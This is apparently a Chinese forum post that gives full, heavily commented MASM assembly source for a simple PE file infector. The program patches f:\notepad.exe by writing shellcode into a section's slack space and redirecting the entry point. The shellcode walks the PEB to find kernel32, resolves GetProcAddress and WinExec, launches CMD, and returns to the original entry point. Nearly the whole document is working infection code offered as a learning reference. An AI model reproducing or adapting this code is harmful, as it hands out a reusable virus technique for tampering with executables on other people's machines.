代码不复杂 仅仅感染f盘下的notepad.exe
感染方式很简单:
遍历节表 找到可以容纳shellcode的节 写入shellcode
sellcode的功能也很简单:
通过fs:[30h]获得peb 通过peb获得kernel32.dll的基址 遍历导出表 找到GetProcAddress的内存地址 然后调用GetProcAddress获得WinExec的内存地址 然后执行CMD 最后跳回原始OEP
主要是我把注释写的比较完善了,给和我一样的新手做个参考吧。
代码:
.386 .model flat,stdcall option casemap:none include windows.inc include kernel32.inc include user32.inc includelib kernel32.lib includelib user32.lib .const szFile db 'f:\notepad.exe',0 .data? hFile dd ? hMapFile dd ? lpFile dd ? lpCodeRva dd ? lpCodeOffset dd ? .code ;shellcode start SHELLCODE_START equ this byte assume fs:flat mov eax,fs:[30h] mov eax,[eax + 0ch] mov esi,[eax + 1ch] lodsd mov edx,[eax + 8h] ;得到kernel32.dll的基地址 mov eax,(IMAGE_DOS_HEADER ptr [edx]).e_lfanew mov eax,(IMAGE_NT_HEADERS ptr [edx + eax]).OptionalHeader.DataDirectory.VirtualAddress ;导出表的RVA add eax,edx ;导出表在内存中的实际地址 assume eax:ptr IMAGE_EXPORT_DIRECTORY mov esi,[eax].AddressOfNames add esi,edx push 00007373h push 65726464h push 41636f72h push 50746547h ;这四句push 构造了 GetProcAddress\0 共15(0fh)个字节 push esp ;把此时栈顶的值压入栈中 等会要用 xor ecx,ecx .repeat mov edi,[esi] add edi,edx ;首次循环时 edi的值就是首个导出函数的名称的地址 push esi ;esi是AddressOfNames 函数名称的地址数组的地址 先保存起来 mov esi,[esp+4] ;[esp+4]获取栈顶数第二个 是一个DWORD 值是指向栈空间里的GetProcAddress ;注意 此时[esi]就是栈中的GetProcAddress [edi]就是导出函数的名称 push ecx ;保存遍历导出表中函数名称的循环次数 mov ecx,0fh ;GetProcAddress\0的长度 设置循环比较[esi]和[edi]的循环次数 repz cmpsb ;对比 [esi] 和 [edi] .break .if ZERO? ;循环cmp后 zero flag仍然是0 说明找到了 GetProcAddress 则跳出循环 pop ecx ;恢复遍历导出表中函数名称的循环次数 pop esi ;恢复esi为 指向 AddressOfNames 函数名称的地址数组的地址 add esi,4 ;指向下一个DWORD esi就是下一个函数名称的地址 inc ecx .until ecx >= [eax].NumberOfNames pop ecx ;ecx此时是GetProcAddress在kernel32.dll中的AddressOfNames数组的位置 和AddressOfNameOrdinas是一一对应的 add esp,18h ;释放栈中的 GetProcAddress\0\0 16个字节 + 地址4个字节 + esi也是4个字节 共24(18h)个字节 mov esi,[eax].AddressOfNameOrdinals add esi,edx ;esi此时是AddressOfNameOrdinals的地址了 movzx ecx,WORD ptr [esi+ ecx * 2] ;计算序数的地址 并取得该地址中的值 也就是序数啦 保存到ecx中 (乘2是因为序数是WORD类型保存的) mov esi,[eax].AddressOfFunctions add esi,edx mov esi,[esi+ecx*4] ;将GetProcAddress的RVA 存到esi中 add esi,edx ;加上基址 得到GetProcAddress的基址 assume eax:nothing ;注意 esi中现在是GetProcAddress的地址了 ;以下代码可以使用 call esi 调用GetProcAddress了 push 00636578h push 456e6957h ;在栈中构造字符串 WinExec push esp ;老办法 把刚才构造的WinExec的内存地址再入栈 push edx ;kernel32.dll的基址 也就是HANDLE call esi ;调用GetProcAddress 获取 WinExec的地址 add esp,8 ;释放栈里面的字符串 WinExec所占空间 ;注意 此时eax就是WinExec的地址 push 00444d43h ;在栈中构造字符串 CMD push esp push SW_SHOW push [esp+4] ;加4是因为此时栈顶是刚刚压入的SW_SHOW,加4后才是栈中构造的字符串CMD call eax ;调用WinExec 执行CMD add esp,4 ;以下代码要跳回原始oep了 db 68h ;机器码68h 是PUSH的意思 OldEntryPoint: dd ? ;这4个BYTE 将被修改为原来的入口点 与上一句68h 组成PUSH xxxxxxxx jmp DWORD ptr [esp] ;前面刚把原来的入口点压入栈中 所以 jmp 到 esp栈顶的元素 也就是原来的入口点 ; db 0e9h ; OEPOffs: ; dd ? ;或者可以用这种e9跳转的形式 SHELLCODE_END equ this byte SHELLCODE_LENGTH equ offset SHELLCODE_END - offset SHELLCODE_START ;shellcode ends start: invoke CreateFile,addr szFile,GENERIC_READ or GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL .if eax != INVALID_HANDLE_VALUE mov hFile, eax invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL .if eax mov hMapFile, eax invoke MapViewOfFile,hMapFile,FILE_MAP_READ or FILE_MAP_WRITE,0,0,0 .if eax xor ebx,ebx mov bx,(IMAGE_DOS_HEADER ptr [eax]).e_magic .if bx == IMAGE_DOS_SIGNATURE mov lpFile, eax mov esi, eax mov esi, (IMAGE_DOS_HEADER ptr [eax]).e_lfanew add esi, eax assume esi: ptr IMAGE_NT_HEADERS .if [esi].Signature == IMAGE_NT_SIGNATURE mov ebx, esi add ebx, sizeof IMAGE_NT_HEADERS assume ebx: ptr IMAGE_SECTION_HEADER xor eax, eax mov ax, [esi].FileHeader.NumberOfSections mov ecx, eax lp: mov eax, [ebx].SizeOfRawData sub eax, [ebx].Misc.VirtualSize .if eax > SHELLCODE_LENGTH jmp @F .endif add ebx, sizeof IMAGE_SECTION_HEADER loop lp .endif .endif .endif .endif .endif invoke ExitProcess,NULL @@: ;finded section mov eax, [ebx].VirtualAddress add eax, [ebx].Misc.VirtualSize mov lpCodeRva, eax mov eax, [ebx].PointerToRawData add eax, [ebx].Misc.VirtualSize mov lpCodeOffset, eax or [ebx].Characteristics, IMAGE_SCN_MEM_READ or [ebx].Characteristics, IMAGE_SCN_MEM_EXECUTE add [ebx].Misc.VirtualSize, SHELLCODE_LENGTH add eax, lpFile invoke RtlMoveMemory,eax, offset SHELLCODE_START, SHELLCODE_LENGTH mov edi, [esi].OptionalHeader.AddressOfEntryPoint add edi, [esi].OptionalHeader.ImageBase ;shellcode 中要jmp到这个地址 这是使用 push xxxxxxxx jmp DWORD ptr [esp] 方法时用的地址 ; mov eax, lpCodeRva ;新的入口点 ; add eax, offset OEPOffs - offset SHELLCODE_START + 4 ;加上OEPOffs标号位置+4 就是跳转的基地址了 +4是因为跳转的基地址是下一条指令的地址 ; sub edi, eax ;shellcode 中要jmp到这个偏移 旧的OEP是目标地址 减去跳转的基地址 就是偏移了 mov eax, lpFile add eax, lpCodeOffset add eax, offset OldEntryPoint - offset SHELLCODE_START ;jmp DWORD ptr [esp] 时使用的方法 ; add eax, offset OEPOffs - offset SHELLCODE_START ;直接jmp偏移使用的方法 mov [eax], edi push lpCodeRva pop [esi].OptionalHeader.AddressOfEntryPoint invoke ExitProcess,NULL end start